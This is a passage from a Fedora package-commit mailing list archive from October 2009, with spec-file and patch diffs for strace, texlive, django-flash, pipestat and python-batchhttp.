From roland at fedoraproject.org  Wed Oct 21 17:51:13 2009
From: roland at fedoraproject.org (roland)
Date: Wed, 21 Oct 2009 17:51:13 +0000 (UTC)
Subject: rpms/strace/F-11 .cvsignore, 1.24, 1.25 sources, 1.28,
	1.29 strace.spec, 1.53, 1.54
Message-ID: <20091021175113.8022211C00E8@cvs1.fedora.phx.redhat.com>

Author: roland

Update of /cvs/pkgs/rpms/strace/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32525/F-11

Modified Files:
	.cvsignore sources strace.spec 
Log Message:
Update to 4.5.19


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/strace/F-11/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	28 Aug 2008 23:05:17 -0000	1.24
+++ .cvsignore	21 Oct 2009 17:51:13 -0000	1.25
@@ -1 +1 @@
-strace-4.5.18.tar.bz2
+strace-4.5.19.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/strace/F-11/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	28 Aug 2008 23:05:17 -0000	1.28
+++ sources	21 Oct 2009 17:51:13 -0000	1.29
@@ -1 +1 @@
-e9449fcee97e6a8ed73934c883c870e0  strace-4.5.18.tar.bz2
+2415e435d61e40315a298c80aced0cda  strace-4.5.19.tar.bz2


Index: strace.spec
===================================================================
RCS file: /cvs/pkgs/rpms/strace/F-11/strace.spec,v
retrieving revision 1.53
retrieving revision 1.54
diff -u -p -r1.53 -r1.54
--- strace.spec	26 Feb 2009 03:17:32 -0000	1.53
+++ strace.spec	21 Oct 2009 17:51:13 -0000	1.54
@@ -1,7 +1,7 @@
 Summary: Tracks and displays system calls associated with a running process
 Name: strace
-Version: 4.5.18
-Release: 2%{?dist}
+Version: 4.5.19
+Release: 1%{?dist}
 License: BSD
 Group: Development/Debuggers
 URL: http://sourceforge.net/projects/strace/
@@ -55,8 +55,15 @@ make DESTDIR=%{buildroot} install
 # remove unpackaged files from the buildroot
 rm -f %{buildroot}%{_bindir}/strace-graph
 
+%define copy64 ln
+%if 0%{?rhel}
+%if 0%{?rhel} < 6
+%endif
+%define copy64 cp -p
+%endif
+
 %ifarch %{strace64_arches}
-ln %{buildroot}%{_bindir}/strace %{buildroot}%{_bindir}/strace64
+%{copy64} %{buildroot}%{_bindir}/strace %{buildroot}%{_bindir}/strace64
 %endif
 
 %clean
@@ -64,7 +71,7 @@ rm -rf %{buildroot}
 
 %files
 %defattr(-,root,root)
-%doc CREDITS ChangeLog COPYRIGHT NEWS PORTING README
+%doc CREDITS ChangeLog ChangeLog-CVS COPYRIGHT NEWS PORTING README
 %{_bindir}/strace
 %{_mandir}/man1/*
 
@@ -74,10 +81,15 @@ rm -rf %{buildroot}
 %{_bindir}/strace64
 %endif
 
-
 %changelog
-* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.5.18-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+* Wed Oct 21 2009 Roland McGrath <roland at redhat.com> - 4.5.19-1
+- New upstream release, work mostly by Dmitry V. Levin <ldv at altlinux.org>
+  + exit/kill strace with traced process exitcode/signal (#105371);
+  + fixed build on ARM EABI (#507576);
+  + fixed display of 32-bit argv array on 64-bit architectures (#519480);
+  + fixed display of 32-bit fcntl(F_SETLK) on 64-bit architectures (#471169);
+  + fixed several bugs in strings decoder, including potential heap
+    memory corruption (#470529, #478324, #511035).
 
 * Thu Aug 28 2008 Roland McGrath <roland at redhat.com> - 4.5.18-1
 - build fix for newer kernel headers (#457291)



From roland at fedoraproject.org  Wed Oct 21 17:51:13 2009
From: roland at fedoraproject.org (roland)
Date: Wed, 21 Oct 2009 17:51:13 +0000 (UTC)
Subject: rpms/strace/F-12 .cvsignore, 1.24, 1.25 sources, 1.28,
	1.29 strace.spec, 1.54, 1.55
Message-ID: <20091021175113.BFCA211C00E8@cvs1.fedora.phx.redhat.com>

Author: roland

Update of /cvs/pkgs/rpms/strace/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32525/F-12

Modified Files:
	.cvsignore sources strace.spec 
Log Message:
Update to 4.5.19


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/strace/F-12/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	28 Aug 2008 23:05:17 -0000	1.24
+++ .cvsignore	21 Oct 2009 17:51:13 -0000	1.25
@@ -1 +1 @@
-strace-4.5.18.tar.bz2
+strace-4.5.19.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/strace/F-12/sources,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- sources	28 Aug 2008 23:05:17 -0000	1.28
+++ sources	21 Oct 2009 17:51:13 -0000	1.29
@@ -1 +1 @@
-e9449fcee97e6a8ed73934c883c870e0  strace-4.5.18.tar.bz2
+2415e435d61e40315a298c80aced0cda  strace-4.5.19.tar.bz2


Index: strace.spec
===================================================================
RCS file: /cvs/pkgs/rpms/strace/F-12/strace.spec,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- strace.spec	27 Jul 2009 04:54:17 -0000	1.54
+++ strace.spec	21 Oct 2009 17:51:13 -0000	1.55
@@ -1,7 +1,7 @@
 Summary: Tracks and displays system calls associated with a running process
 Name: strace
-Version: 4.5.18
-Release: 3%{?dist}
+Version: 4.5.19
+Release: 1%{?dist}
 License: BSD
 Group: Development/Debuggers
 URL: http://sourceforge.net/projects/strace/
@@ -55,8 +55,15 @@ make DESTDIR=%{buildroot} install
 # remove unpackaged files from the buildroot
 rm -f %{buildroot}%{_bindir}/strace-graph
 
+%define copy64 ln
+%if 0%{?rhel}
+%if 0%{?rhel} < 6
+%endif
+%define copy64 cp -p
+%endif
+
 %ifarch %{strace64_arches}
-ln %{buildroot}%{_bindir}/strace %{buildroot}%{_bindir}/strace64
+%{copy64} %{buildroot}%{_bindir}/strace %{buildroot}%{_bindir}/strace64
 %endif
 
 %clean
@@ -64,7 +71,7 @@ rm -rf %{buildroot}
 
 %files
 %defattr(-,root,root)
-%doc CREDITS ChangeLog COPYRIGHT NEWS PORTING README
+%doc CREDITS ChangeLog ChangeLog-CVS COPYRIGHT NEWS PORTING README
 %{_bindir}/strace
 %{_mandir}/man1/*
 
@@ -74,13 +81,15 @@ rm -rf %{buildroot}
 %{_bindir}/strace64
 %endif
 
-
 %changelog
-* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.5.18-3
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
-
-* Wed Feb 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 4.5.18-2
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+* Wed Oct 21 2009 Roland McGrath <roland at redhat.com> - 4.5.19-1
+- New upstream release, work mostly by Dmitry V. Levin <ldv at altlinux.org>
+  + exit/kill strace with traced process exitcode/signal (#105371);
+  + fixed build on ARM EABI (#507576);
+  + fixed display of 32-bit argv array on 64-bit architectures (#519480);
+  + fixed display of 32-bit fcntl(F_SETLK) on 64-bit architectures (#471169);
+  + fixed several bugs in strings decoder, including potential heap
+    memory corruption (#470529, #478324, #511035).
 
 * Thu Aug 28 2008 Roland McGrath <roland at redhat.com> - 4.5.18-1
 - build fix for newer kernel headers (#457291)



From jnovy at fedoraproject.org  Wed Oct 21 17:52:31 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed, 21 Oct 2009 17:52:31 +0000 (UTC)
Subject: rpms/texlive/F-11 texlive-poppler.patch,1.5,1.6
Message-ID: <20091021175231.AB50C11C00E8@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32745

Modified Files:
	texlive-poppler.patch 
Log Message:
- revert the poppler patch, poppler in F11 is way too old


texlive-poppler.patch:
 configure                           |    6 ++---
 configure.in                        |    8 +++----
 texk/web2c/pdftexdir/pdftex.mk      |    7 ++++--
 texk/web2c/pdftexdir/pdftexextra.in |    2 -
 texk/web2c/pdftexdir/pdftoepdf.cc   |   41 +++++++++++++++++-------------------
 texk/web2c/pdftexdir/pdftosrc.cc    |   37 ++++++++++++++++----------------
 texk/web2c/pdftexdir/utils.c        |    6 ++---
 texk/web2c/xetexdir/XeTeX_ext.c     |    8 ++-----
 texk/web2c/xetexdir/pdfimage.cpp    |   24 ++++++++++++++++-----
 texk/web2c/xetexdir/xetex.mk        |   10 ++++++--
 10 files changed, 84 insertions(+), 65 deletions(-)

Index: texlive-poppler.patch
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-11/texlive-poppler.patch,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- texlive-poppler.patch	21 Oct 2009 17:21:29 -0000	1.5
+++ texlive-poppler.patch	21 Oct 2009 17:52:31 -0000	1.6
@@ -1,6 +1,6 @@
 diff -up texlive-2007/configure.in.poppler texlive-2007/configure.in
---- texlive-2007/configure.in.poppler	2007-01-09 02:17:11.000000000 +0100
-+++ texlive-2007/configure.in	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/configure.in.poppler	2007-01-08 20:17:11.000000000 -0500
++++ texlive-2007/configure.in	2008-11-11 22:38:31.000000000 -0500
 @@ -157,9 +157,9 @@ export needs_zlib
  
  # we need libxpdf for pdf[ex]tex, xetex
@@ -24,8 +24,8 @@ diff -up texlive-2007/configure.in.poppl
  sinclude(libs/gd/gd.ac)
  sinclude(libs/freetype/freetype.ac)
 diff -up texlive-2007/configure.poppler texlive-2007/configure
---- texlive-2007/configure.poppler	2007-01-09 15:16:26.000000000 +0100
-+++ texlive-2007/configure	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/configure.poppler	2007-01-09 09:16:26.000000000 -0500
++++ texlive-2007/configure	2008-11-11 22:38:31.000000000 -0500
 @@ -3442,9 +3442,9 @@ export needs_zlib
  
  # we need libxpdf for pdf[ex]tex, xetex
@@ -40,8 +40,8 @@ diff -up texlive-2007/configure.poppler 
  export needs_libxpdf
  
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler texlive-2007/texk/web2c/pdftexdir/pdftexextra.in
---- texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftexextra.in	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler	2006-12-26 18:37:34.000000000 -0500
++++ texlive-2007/texk/web2c/pdftexdir/pdftexextra.in	2008-11-11 22:38:31.000000000 -0500
 @@ -26,7 +26,7 @@ $Id: pdftexextra.in,v 1.4 2004/08/26 18:
     (generated from ../lib/texmfmp.c).
  */
@@ -52,8 +52,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
  #define AUTHOR NULL
  #define PROGRAM_HELP PDFTEXHELP
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler texlive-2007/texk/web2c/pdftexdir/pdftex.mk
---- texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftex.mk	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler	2006-12-26 18:37:34.000000000 -0500
++++ texlive-2007/texk/web2c/pdftexdir/pdftex.mk	2008-11-11 22:38:31.000000000 -0500
 @@ -2,6 +2,9 @@
  # This fragment contains the parts of the makefile that are most likely to
  # differ between releases of pdfeTeX.
@@ -83,8 +83,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
  	cd $(pdftexdir) && $(MAKE) pdftosrc.o
  check: pdftosrc-check
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc
---- texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc	2009-10-15 14:57:52.000000000 +0200
+--- texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc.poppler	2006-12-26 18:37:34.000000000 -0500
++++ texlive-2007/texk/web2c/pdftexdir/pdftoepdf.cc	2008-11-11 22:38:31.000000000 -0500
 @@ -26,25 +26,24 @@ $Id: pdftoepdf.cc,v 1.9 2006/09/01 18:06
  #include <stdio.h>
  #include <string.h>
@@ -146,24 +146,6 @@ diff -up texlive-2007/texk/web2c/pdftexd
      if (obj->isBool()) {
          pdf_printf("%s", obj->getBool()? "true" : "false");
      } else if (obj->isInt()) {
-@@ -634,7 +633,7 @@ static void writeEncodings()
-     }
-     for (r = encodingList; r != 0; r = n) {
-         n = r->next;
--        delete r->font;
-+        r->font->decRefCnt();
-         delete r;
-     }
- }
-@@ -689,7 +688,7 @@ read_pdf_info(char *image_name, char *pa
-     // this works only for PDF 1.x -- but since any versions of PDF newer
-     // than 1.x will not be backwards compatible to PDF 1.x, pdfTeX will
-     // then have to changed drastically anyway.
--    pdf_version_found = pdf_doc->doc->getPDFVersion();
-+    pdf_version_found = pdf_doc->doc->getPDFMajorVersion() + pdf_doc->doc->getPDFMinorVersion()/10.;
-     pdf_version_wanted = 1 + (minor_pdf_version_wanted * 0.1);
-     if (pdf_version_found > pdf_version_wanted) {
-         char msg[] =
 @@ -703,7 +702,7 @@ read_pdf_info(char *image_name, char *pa
      epdf_num_pages = pdf_doc->doc->getCatalog()->getNumPages();
      if (page_name) {
@@ -174,8 +156,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
          if (link == 0 || !link->isOk())
              pdftex_fail("PDF inclusion: invalid destination <%s>", page_name);
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc
---- texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc.poppler	2006-12-26 18:37:34.000000000 -0500
++++ texlive-2007/texk/web2c/pdftexdir/pdftosrc.cc	2008-11-11 22:38:31.000000000 -0500
 @@ -25,22 +25,23 @@ $Id: //depot/Build/source.development/Te
  #include <stdio.h>
  #include <string.h>
@@ -241,8 +223,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
      doc = new PDFDoc(fileName);
      if (!doc->isOk()) {
 diff -up texlive-2007/texk/web2c/pdftexdir/utils.c.poppler texlive-2007/texk/web2c/pdftexdir/utils.c
---- texlive-2007/texk/web2c/pdftexdir/utils.c.poppler	2007-01-01 18:20:03.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/utils.c	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/texk/web2c/pdftexdir/utils.c.poppler	2007-01-01 12:20:03.000000000 -0500
++++ texlive-2007/texk/web2c/pdftexdir/utils.c	2008-11-11 22:38:31.000000000 -0500
 @@ -37,7 +37,7 @@ $Id: //depot/Build/source.development/Te
  #include "zlib.h"
  #include "ptexlib.h"
@@ -265,8 +247,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
  
  
 diff -up texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler texlive-2007/texk/web2c/xetexdir/pdfimage.cpp
---- texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler	2006-12-09 11:29:12.000000000 +0100
-+++ texlive-2007/texk/web2c/xetexdir/pdfimage.cpp	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/texk/web2c/xetexdir/pdfimage.cpp.poppler	2006-12-09 05:29:12.000000000 -0500
++++ texlive-2007/texk/web2c/xetexdir/pdfimage.cpp	2008-11-11 22:38:31.000000000 -0500
 @@ -11,10 +11,24 @@
  
  #include "pdfimage.h"
@@ -306,8 +288,8 @@ diff -up texlive-2007/texk/web2c/xetexdi
  	
  	if (!doc) {
 diff -up texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c
---- texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler	2007-01-15 14:04:36.000000000 +0100
-+++ texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c.poppler	2007-01-15 08:04:36.000000000 -0500
++++ texlive-2007/texk/web2c/xetexdir/XeTeX_ext.c	2008-11-11 22:39:46.000000000 -0500
 @@ -33,7 +33,7 @@ authorization from SIL International.
   */
  
@@ -345,8 +327,8 @@ diff -up texlive-2007/texk/web2c/xetexdi
  		);
  }
 diff -up texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler texlive-2007/texk/web2c/xetexdir/xetex.mk
---- texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler	2009-10-15 14:57:41.000000000 +0200
-+++ texlive-2007/texk/web2c/xetexdir/xetex.mk	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/texk/web2c/xetexdir/xetex.mk.poppler	2008-11-11 22:38:31.000000000 -0500
++++ texlive-2007/texk/web2c/xetexdir/xetex.mk	2008-11-11 22:38:31.000000000 -0500
 @@ -4,6 +4,10 @@
  
  Makefile: $(srcdir)/xetexdir/xetex.mk



From sdz at fedoraproject.org  Wed Oct 21 17:53:35 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Wed, 21 Oct 2009 17:53:35 +0000 (UTC)
Subject: rpms/django-flash/EL-5 django-flash-setuptools.patch, NONE,
	1.1 django-flash.spec, 1.1, 1.2
Message-ID: <20091021175335.5562111C00E8@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/django-flash/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1194

Modified Files:
	django-flash.spec 
Added Files:
	django-flash-setuptools.patch 
Log Message:
make django-flash compile on EL5


django-flash-setuptools.patch:
 setup.py |    9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

--- NEW FILE django-flash-setuptools.patch ---
diff -up django-flash-1.6.2/setup.py.bak django-flash-1.6.2/setup.py
--- django-flash-1.6.2/setup.py.bak	2009-10-21 10:04:44.346522702 -0700
+++ django-flash-1.6.2/setup.py	2009-10-21 10:07:16.992772274 -0700
@@ -1,10 +1,13 @@
 #!/usr/bin/env python
 # -*- coding: utf-8 -*-
 
-import ez_setup
-ez_setup.use_setuptools()
+try:
+    from setuptools import setup, find_packages
+except ImportError:
+    import ez_setup
+    ez_setup.use_setuptools()
+    from setuptools import setup, find_packages
 
-from setuptools import setup, find_packages
 
 setup(
     name = 'django-flash',


Index: django-flash.spec
===================================================================
RCS file: /cvs/pkgs/rpms/django-flash/EL-5/django-flash.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- django-flash.spec	10 Oct 2009 19:16:33 -0000	1.1
+++ django-flash.spec	21 Oct 2009 17:53:35 -0000	1.2
@@ -2,17 +2,18 @@
 
 Name:           django-flash
 Version:        1.6.2
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        A Django extension to provide support for Rails-like flash
 
 Group:          Development/Languages
 License:        BSD
 URL:            http://djangoflash.destaquenet.com/
 Source0:        http://pypi.python.org/packages/source/d/%{name}/%{name}-%{version}.tar.gz
+Patch0:         django-flash-setuptools.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildArch:      noarch
-BuildRequires:  Django python-devel python-setuptools-devel
+BuildRequires:  Django python-devel python-setuptools
 Requires:       Django
 
 %description
@@ -28,6 +29,7 @@ processed, those values are removed auto
 
 %prep
 %setup -q
+%patch0 -p1 -b setup.py
 
 
 %build
@@ -51,6 +53,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Sebastian Dziallas <sebastian at when.com> - 1.6.2-3
+- add patch for python-setuptools in EL5
+- adjust setupstools BR name
+
 * Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.6.2-2
 - remove unneeeded BRs
 



From smilner at fedoraproject.org  Wed Oct 21 18:04:48 2009
From: smilner at fedoraproject.org (smilner)
Date: Wed, 21 Oct 2009 18:04:48 +0000 (UTC)
Subject: rpms/pipestat/devel pipestat.spec,1.3,1.4
Message-ID: <20091021180448.C19C311C00E8@cvs1.fedora.phx.redhat.com>

Author: smilner

Update of /cvs/pkgs/rpms/pipestat/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4442

Modified Files:
	pipestat.spec 
Log Message:
adding setuptools to requires


Index: pipestat.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pipestat/devel/pipestat.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- pipestat.spec	11 Aug 2009 17:08:51 -0000	1.3
+++ pipestat.spec	21 Oct 2009 18:04:48 -0000	1.4
@@ -3,7 +3,7 @@
 
 Name:           pipestat
 Version:        0.3.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Watches data flowing over an anonymous pipe
 
 Group:          Applications/System
@@ -14,6 +14,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 BuildArch:      noarch
 BuildRequires:  python-devel, python-setuptools
+Requires:       python-setuptools
 
 %description
 Simple python script to watch data flowing over an anonymous pipe
@@ -44,6 +45,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> - 0.3.0-2
+- Added setuptools as a requirement.
+
 * Fri Aug  7 2009 Steve 'Ashcrow' Milner <me at stevemilner.org> - 0.3.0-1
 - Updated for upstream release.
 



From sdz at fedoraproject.org  Wed Oct 21 18:05:00 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Wed, 21 Oct 2009 18:05:00 +0000 (UTC)
Subject: rpms/python-batchhttp/EL-5 import.log, NONE,
	1.1 python-batchhttp.spec, 
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091021180500.7B9F311C00E8@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/python-batchhttp/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4581/EL-5

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-batchhttp.spec 
Log Message:
initial import



--- NEW FILE import.log ---
python-batchhttp-1_0-1_fc11:EL-5:python-batchhttp-1.0-1.fc11.src.rpm:1256148243


--- NEW FILE python-batchhttp.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           python-batchhttp
Version:        1.0
Release:        1%{?dist}
Summary:        Parallel fetching of HTTP resources through MIME multipart

Group:          Development/Languages
License:        BSD
URL:            http://sixapart.github.com/batchhttp/
Source0:        http://pypi.python.org/packages/source/b/batchhttp/batchhttp-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

BuildArch:      noarch
BuildRequires:  python-devel python-setuptools-devel
Requires:       python-httplib2

%description
This package's BatchClient applies standard MIME multipart encoding to HTTP
messages, providing a standards-conservant technique for making parallelizable
HTTP requests over a single proxy connection.

To make a batch request, open a new request on a BatchClient instance and add
your subrequests, along with callbacks that will receive the subresponses.
Once all parallelized requests are added, complete the request; the request is
made and the batched subresponses are provided to your callbacks.

%prep
%setup -q -n batchhttp-%{version}


%build
python setup.py build


%install
rm -rf $RPM_BUILD_ROOT
python setup.py install --skip-build --root $RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc LICENSE
%{python_sitelib}/*


%changelog
* Tue Oct 06 2009 Sebastian Dziallas <sebastian at when.com> - 1.0-1
- initial packaging


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-batchhttp/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	8 Oct 2009 05:55:58 -0000	1.1
+++ .cvsignore	21 Oct 2009 18:05:00 -0000	1.2
@@ -0,0 +1 @@
+batchhttp-1.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-batchhttp/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	8 Oct 2009 05:55:58 -0000	1.1
+++ sources	21 Oct 2009 18:05:00 -0000	1.2
@@ -0,0 +1 @@
+a3b5e89edfd9c68512aeea80bfa0d802  batchhttp-1.0.tar.gz



From jnovy at fedoraproject.org  Wed Oct 21 18:08:31 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Wed, 21 Oct 2009 18:08:31 +0000 (UTC)
Subject: rpms/texlive/F-10 texlive-poppler.patch,1.2,1.3
Message-ID: <20091021180831.5E24F11C00E8@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6205

Modified Files:
	texlive-poppler.patch 
Log Message:
- revert the poppler patch, F10 poppler is too old


texlive-poppler.patch:
 configure                           |    6 ++---
 configure.in                        |    8 +++----
 texk/web2c/pdftexdir/pdftex.mk      |    7 ++++--
 texk/web2c/pdftexdir/pdftexextra.in |    2 -
 texk/web2c/pdftexdir/pdftoepdf.cc   |   41 +++++++++++++++++-------------------
 texk/web2c/pdftexdir/pdftosrc.cc    |   37 ++++++++++++++++----------------
 texk/web2c/pdftexdir/utils.c        |    6 ++---
 texk/web2c/xetexdir/XeTeX_ext.c     |    8 ++-----
 texk/web2c/xetexdir/pdfimage.cpp    |   24 ++++++++++++++++-----
 texk/web2c/xetexdir/xetex.mk        |   10 ++++++--
 10 files changed, 84 insertions(+), 65 deletions(-)

Index: texlive-poppler.patch
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/F-10/texlive-poppler.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- texlive-poppler.patch	21 Oct 2009 17:26:46 -0000	1.2
+++ texlive-poppler.patch	21 Oct 2009 18:08:30 -0000	1.3
@@ -1,6 +1,6 @@
 diff -up texlive-2007/configure.in.poppler texlive-2007/configure.in
---- texlive-2007/configure.in.poppler	2007-01-09 02:17:11.000000000 +0100
-+++ texlive-2007/configure.in	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/configure.in.poppler	2007-01-08 20:17:11.000000000 -0500
++++ texlive-2007/configure.in	2008-11-11 22:38:31.000000000 -0500
 @@ -157,9 +157,9 @@ export needs_zlib
  
  # we need libxpdf for pdf[ex]tex, xetex
@@ -24,8 +24,8 @@ diff -up texlive-2007/configure.in.poppl
  sinclude(libs/gd/gd.ac)
  sinclude(libs/freetype/freetype.ac)
 diff -up texlive-2007/configure.poppler texlive-2007/configure
---- texlive-2007/configure.poppler	2007-01-09 15:16:26.000000000 +0100
-+++ texlive-2007/configure	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/configure.poppler	2007-01-09 09:16:26.000000000 -0500
++++ texlive-2007/configure	2008-11-11 22:38:31.000000000 -0500
 @@ -3442,9 +3442,9 @@ export needs_zlib
  
  # we need libxpdf for pdf[ex]tex, xetex
@@ -40,8 +40,8 @@ diff -up texlive-2007/configure.poppler 
  export needs_libxpdf
  
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler texlive-2007/texk/web2c/pdftexdir/pdftexextra.in
---- texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftexextra.in	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/texk/web2c/pdftexdir/pdftexextra.in.poppler	2006-12-26 18:37:34.000000000 -0500
++++ texlive-2007/texk/web2c/pdftexdir/pdftexextra.in	2008-11-11 22:38:31.000000000 -0500
 @@ -26,7 +26,7 @@ $Id: pdftexextra.in,v 1.4 2004/08/26 18:
     (generated from ../lib/texmfmp.c).
  */
@@ -52,8 +52,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
  #define AUTHOR NULL
  #define PROGRAM_HELP PDFTEXHELP
 diff -up texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler texlive-2007/texk/web2c/pdftexdir/pdftex.mk
---- texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler	2006-12-27 00:37:34.000000000 +0100
-+++ texlive-2007/texk/web2c/pdftexdir/pdftex.mk	2009-10-15 14:57:43.000000000 +0200
+--- texlive-2007/texk/web2c/pdftexdir/pdftex.mk.poppler	2006-12-26 18:37:34.000000000 -0500
++++ texlive-2007/texk/web2c/pdftexdir/pdftex.mk	2008-11-11 22:38:31.000000000 -0500
 @@ -2,6 +2,9 @@
  # This fragment contains the parts of the makefile that are most likely to
  # differ between releases of pdfeTeX.
@@ -83,8 +83,8 @@ diff -up texlive-2007/texk/web2c/pdftexd
  	cd $(pdftexdir) && $(MAKE) pdftosrc.o
  check: pdftosrc-check
